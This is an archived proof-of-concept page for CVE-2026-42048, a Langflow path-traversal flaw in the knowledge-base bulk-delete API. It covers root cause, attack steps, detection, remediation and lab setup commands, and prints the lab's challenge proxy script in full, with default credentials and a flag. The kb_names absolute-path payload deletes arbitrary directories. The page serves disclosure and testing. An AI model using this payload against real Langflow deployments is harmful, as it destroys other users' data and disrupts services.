PoC Archive PoC Archive
High CVE-2026-42048 (GHSA-9whx-c884-c68q) patched

Langflow Knowledge Base Path Traversal / Arbitrary Directory Deletion (CVE-2026-42048)

by EQSTLab · 2026-07-05

Severity
High
CVE
CVE-2026-42048 (GHSA-9whx-c884-c68q)
Category
web
Affected product
Langflow (Knowledge Bases bulk delete API)
Affected versions
Before 1.9.0 (fixed in 1.9.0); lab pins 1.8.4
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherEQSTLab
CVE / AdvisoryCVE-2026-42048 (GHSA-9whx-c884-c68q)
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagslangflow, path-traversal, arbitrary-file-deletion, cwe-22, api, docker-lab, knowledge-base
RelatedN/A

Affected Target

FieldValue
Software / SystemLangflow (Knowledge Bases bulk delete API)
Versions AffectedBefore 1.9.0 (fixed in 1.9.0); lab pins 1.8.4
Language / PlatformPython PoC + Docker lab targeting the Langflow REST API
Authentication RequiredYes (low-privilege authenticated user)
Network Access RequiredYes

Summary

Langflow’s DELETE /api/v1/knowledge_bases bulk-delete endpoint accepts a list of kb_names values and builds a filesystem path for each by joining it onto the current user’s Knowledge Base directory, without normalizing or validating that the resulting path stays inside that directory. Because Python’s pathlib lets an absolute path component on the right side of the / operator override everything before it, an authenticated attacker can pass an absolute path (or a ../-laden relative path) in kb_names to make Langflow recursively delete an arbitrary directory the process has permission to remove — outside the intended Knowledge Base storage root. This is a CWE-22 improper path restriction issue that requires no code execution to cause damage; a single authenticated API call is enough to destroy data.


Vulnerability Details

Root Cause

The bulk-delete handler manually constructs kb_user_path / kb_name without calling Path.resolve() or verifying the resolved path remains inside the authenticated user’s Knowledge Base directory before invoking recursive deletion, unlike other Knowledge Base endpoints that use a safer path-resolution helper.

Attack Vector

  1. Attacker authenticates to Langflow (low privilege is sufficient, PR:L).
  2. Attacker sends DELETE /api/v1/knowledge_bases with a JSON body such as {"kb_names": ["/target/CVE-2026-42048"]}.
  3. Langflow joins the attacker-controlled kb_name onto the base KB directory; because the supplied value is an absolute path, pathlib resolves it to the literal target path, escaping the intended KB root.
  4. Langflow’s deletion helper recursively removes the resolved directory as the Langflow process user.

Impact

An authenticated attacker can delete arbitrary directories reachable by the Langflow process, including other users’ Knowledge Base data or application-owned directories, causing data loss and service disruption without needing code execution.


Environment / Lab Setup

Target:   Langflow 1.8.4 (vulnerable), wrapped by a challenge proxy on port 9101
Attacker: Python 3 (stdlib) or curl; Docker to build/run the reproduction lab

Proof of Concept

PoC Script

See poc.py, challenge-proxy.py, Dockerfile, and docker-entrypoint.sh in this folder.

1
2
3
4
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
python3 poc.py --url http://127.0.0.1:9101 --path /target/CVE-2026-42048
curl http://127.0.0.1:9101/status

poc.py sends a DELETE /api/v1/knowledge_bases request with the attacker-controlled kb_names path to the lab’s challenge proxy; a successful exploit is confirmed when the /status endpoint reports the target directory no longer exists. challenge-proxy.py and the Dockerfile stand up a disposable Langflow 1.8.4 instance with a seeded target directory (/target/CVE-2026-42048) for safe, repeatable testing.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected disappearance of directories outside a user’s own Knowledge Base storage path
  • API access logs showing DELETE /api/v1/knowledge_bases with anomalous kb_names values (absolute paths, ../)
  • Application errors referencing missing Knowledge Base or runtime directories after a bulk-delete call

Remediation

ActionDetail
Primary fixUpgrade to Langflow 1.9.0 or later
Interim mitigationValidate and normalize kb_names server-side with Path.resolve() and confirm containment within the user’s KB root before deletion; restrict filesystem permissions available to the Langflow process

References


Notes

Mirrored from https://github.com/EQSTLab/CVE-2026-42048 on 2026-07-05.

challenge-proxy.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/usr/bin/env python3
import json
import os
import time
import urllib.error
import urllib.parse
import urllib.request
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


LANGFLOW_URL = os.environ.get("LANGFLOW_INTERNAL_URL", "http://127.0.0.1:7860").rstrip("/")
PROXY_HOST = os.environ.get("CHALLENGE_PROXY_HOST", "0.0.0.0")
PROXY_PORT = int(os.environ.get("CHALLENGE_PROXY_PORT", "9101"))
USERNAME = os.environ.get("LANGFLOW_SUPERUSER", "administrator")
PASSWORD = os.environ.get("LANGFLOW_SUPERUSER_PASSWORD", "securepassword")
TARGET_DIR = os.environ.get(
    "CHALLENGE_TARGET_DIR",
    "/target/CVE-2026-42048",
)
KB_ROOT = os.environ.get("LANGFLOW_KNOWLEDGE_BASES_DIR", "/tmp/langflow-lab/knowledge_bases")
FLAG_PATH = "/flag.txt"

_token = None
_user_dir_prepared = False


def http_request(method, url, *, headers=None, body=None, timeout=10):
    req = urllib.request.Request(url, data=body, headers=headers or {}, method=method)
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return resp.status, resp.headers, resp.read()


def langflow_ready():
    try:
        http_request("GET", f"{LANGFLOW_URL}/api/v1/version", timeout=3)
        return True
    except Exception:
        return False


def get_token():
    global _token, _user_dir_prepared
    if _token:
        if not _user_dir_prepared:
            prepare_user_dir(_token)
        return _token

    form = urllib.parse.urlencode(
        {
            "username": USERNAME,
            "password": PASSWORD,
            "grant_type": "password",
            "scope": "",
        }
    ).encode()
    status, _, raw = http_request(
        "POST",
        f"{LANGFLOW_URL}/api/v1/login",
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        body=form,
    )
    if status != 200:
        raise RuntimeError(f"Langflow login failed with HTTP {status}")
    payload = json.loads(raw.decode())
    _token = payload["access_token"]
    prepare_user_dir(_token)
    return _token


def prepare_user_dir(token):
    global _user_dir_prepared
    if _user_dir_prepared:
        return
    status, _, raw = http_request(
        "GET",
        f"{LANGFLOW_URL}/api/v1/users/whoami",
        headers={"Authorization": f"Bearer {token}"},
    )
    if status != 200:
        raise RuntimeError(f"Could not resolve Langflow user info: HTTP {status}")
    user = json.loads(raw.decode())
    username = user["username"]
    os.makedirs(os.path.join(KB_ROOT, username), exist_ok=True)
    _user_dir_prepared = True


class ChallengeProxy(BaseHTTPRequestHandler):
    server_version = "CVE-2026-42048-Lab/1.0"

    def log_message(self, fmt, *args):
        print(f"[proxy] {self.address_string()} - {fmt % args}", flush=True)

    def send_json(self, status, payload):
        raw = json.dumps(payload).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(raw)))
        self.end_headers()
        self.wfile.write(raw)

    def send_text(self, status, text):
        raw = text.encode()
        self.send_response(status)
        self.send_header("Content-Type", "text/plain; charset=utf-8")
        self.send_header("Content-Length", str(len(raw)))
        self.end_headers()
        self.wfile.write(raw)

    def do_GET(self):
        if self.path == "/health":
            if langflow_ready():
                self.send_json(200, {"status": "ready"})
            else:
                self.send_json(503, {"status": "starting"})
            return

        if self.path == "/":
            self.send_text(
                200,
                "CVE-2026-42048 lab\n"
                "Delete this kb_names path with the vulnerable API: /target/CVE-2026-42048\n"
                "Then request /flag.txt\n",
            )
            return

        if self.path == "/status":
            self.send_json(
                200,
                {
                    "target": "/target/CVE-2026-42048",
                    "target_exists": os.path.exists(TARGET_DIR),
                    "vulnerability": "CVE-2026-42048 Langflow knowledge base bulk delete path traversal",
                },
            )
            return

        if self.path == "/flag.txt":
            if os.path.exists(TARGET_DIR):
                self.send_text(403, "Target still exists. Delete /target/CVE-2026-42048 first.\n")
                return
            with open(FLAG_PATH, "r", encoding="utf-8") as flag:
                self.send_text(200, flag.read())
            return

        self.send_text(404, "Not found\n")

    def do_DELETE(self):
        if self.path not in {"/api/v1/knowledge_bases", "/api/v1/knowledge_bases/"}:
            self.send_text(404, "Not found\n")
            return

        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length)

        try:
            token = get_token()
            status, headers, raw = http_request(
                "DELETE",
                f"{LANGFLOW_URL}/api/v1/knowledge_bases",
                headers={
                    "Authorization": f"Bearer {token}",
                    "Content-Type": self.headers.get("Content-Type", "application/json"),
                },
                body=body,
            )
            content_type = headers.get("Content-Type", "application/json")
            self.send_response(status)
            self.send_header("Content-Type", content_type)
            self.send_header("Content-Length", str(len(raw)))
            self.end_headers()
            self.wfile.write(raw)
        except urllib.error.HTTPError as exc:
            raw = exc.read()
            self.send_response(exc.code)
            self.send_header("Content-Type", exc.headers.get("Content-Type", "text/plain"))
            self.send_header("Content-Length", str(len(raw)))
            self.end_headers()
            self.wfile.write(raw)
        except Exception as exc:
            self.send_json(502, {"error": str(exc)})


def main():
    deadline = time.time() + 180
    while time.time() < deadline:
        if langflow_ready():
            break
        time.sleep(2)

    server = ThreadingHTTPServer((PROXY_HOST, PROXY_PORT), ChallengeProxy)
    print(f"[proxy] listening on {PROXY_HOST}:{PROXY_PORT}", flush=True)
    server.serve_forever()


if __name__ == "__main__":
    main()